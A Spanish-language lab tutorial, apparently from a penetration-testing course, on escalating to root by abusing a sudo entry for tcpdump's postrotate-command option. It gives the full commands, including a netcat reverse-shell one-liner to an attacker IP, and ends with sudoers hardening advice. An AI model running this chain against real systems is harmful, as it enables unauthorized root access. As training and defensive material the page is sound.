Sudo Rights Abuse

Los privilegios de sudo pueden ser otorgados a una cuenta, permitiendo que la cuenta ejecute ciertos comandos en el contexto de root (o de otra cuenta) sin tener que cambiar de usuario o otorgar privilegios excesivos. Cuando se emite el comando sudo, el sistema verificará si el usuario que emite el comando tiene los derechos apropiados, según lo configurado en /etc/sudoers. Al acceder a un sistema, siempre debemos verificar si el usuario actual tiene algún privilegio de sudo escribiendo sudo -l. A veces necesitaremos conocer la contraseña del usuario para listar sus derechos de sudo, pero cualquier entrada de derechos con la opción NOPASSWD puede ser vista sin ingresar una contraseña.

htb_student@NIX02:~$ sudo -l

Matching Defaults entries for sysadm on NIX02:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User sysadm may run the following commands on NIX02:
    (root) NOPASSWD: /usr/sbin/tcpdump

Es fácil configurar esto incorrectamente. Por ejemplo, se le puede otorgar a un usuario permisos a nivel root sin requerir una contraseña. O la línea de comandos permitida podría especificarse de manera demasiado laxa, permitiéndonos ejecutar un programa de una manera no intencionada, resultando en una escalada de privilegios. Por ejemplo, si el archivo sudoers se edita para otorgar a un usuario el derecho a ejecutar un comando como tcpdump según la siguiente entrada en el archivo sudoers: (ALL) NOPASSWD: /usr/sbin/tcpdump, un atacante podría aprovechar esto para usar la opción postrotate-command.

htb_student@NIX02:~$ man tcpdump

<SNIP> 
-z postrorate-command              

Used in conjunction with the -C or -G options, this will make `tcpdump` run " postrotate-command file " where the file is the savefile being closed after each rotation. For example, specifying -z gzip or -z bzip2 will compress each savefile using gzip or bzip2.

Al especificar la flag -z, un atacante podría usar tcpdump para ejecutar un script de shell, obtener una reverse shell como el usuario root o ejecutar otros comandos privilegiados. Por ejemplo, un atacante podría crear el script de shell .test que contiene una reverse shell y ejecutarlo de la siguiente manera:

htb_student@NIX02:~$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

Vamos a probar esto. Primero, crea un archivo para ejecutar con el postrotate-command, agregando una simple línea de comando de reverse shell.

htb_student@NIX02:~$ cat /tmp/.test

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 443 >/tmp/f

A continuación, inicia un listener de netcat en nuestra máquina atacante y ejecuta tcpdump como root con el postrotate-command. Si todo sale según lo planeado, recibiremos una conexión de reverse shell como root.

htb_student@NIX02:~$ sudo /usr/sbin/tcpdump -ln -i ens192 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

dropped privs to root
tcpdump: listening on ens192, link-type EN10MB (Ethernet), capture size 262144 bytes
Maximum file limit reached: 1
1 packet captured
6 packets received by filter
compress_savefile: execlp(/tmp/.test, /dev/null) failed: Permission denied
0 packets dropped by kernel

Recibimos una shell de root casi al instante.

nc -lnvp 443

listening on [any] 443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.129.2.12] 38938
bash: cannot set terminal process group (10797): Inappropriate ioctl for device
bash: no job control in this shell

root@NIX02:~# id && hostname               
id && hostname
uid=0(root) gid=0(root) groups=0(root)
NIX02

AppArmor en distribuciones más recientes ha predefinido los comandos utilizados con el postrotate-command, previniendo efectivamente la ejecución de comandos. Dos mejores prácticas que siempre deben considerarse al provisionar derechos de sudo:

1. Siempre especificar la ruta absoluta a cualquier binario listado en la entrada del archivo sudoers. De lo contrario, un atacante podría aprovechar el abuso de PATH (que veremos en la siguiente sección) para crear un binario malicioso que se ejecutará cuando se ejecute el comando (por ejemplo, si la entrada de sudoers especifica cat en lugar de /bin/cat, esto podría ser abusado).
2. Otorgar derechos de sudo con moderación y basándose en el principio de privilegio mínimo. ¿Necesita el usuario derechos completos de sudo? ¿Pueden realizar su trabajo con una o dos entradas en el archivo sudoers? Limitar los comandos privilegiados que un usuario puede ejecutar reducirá en gran medida la probabilidad de una escalada de privilegios exitosa.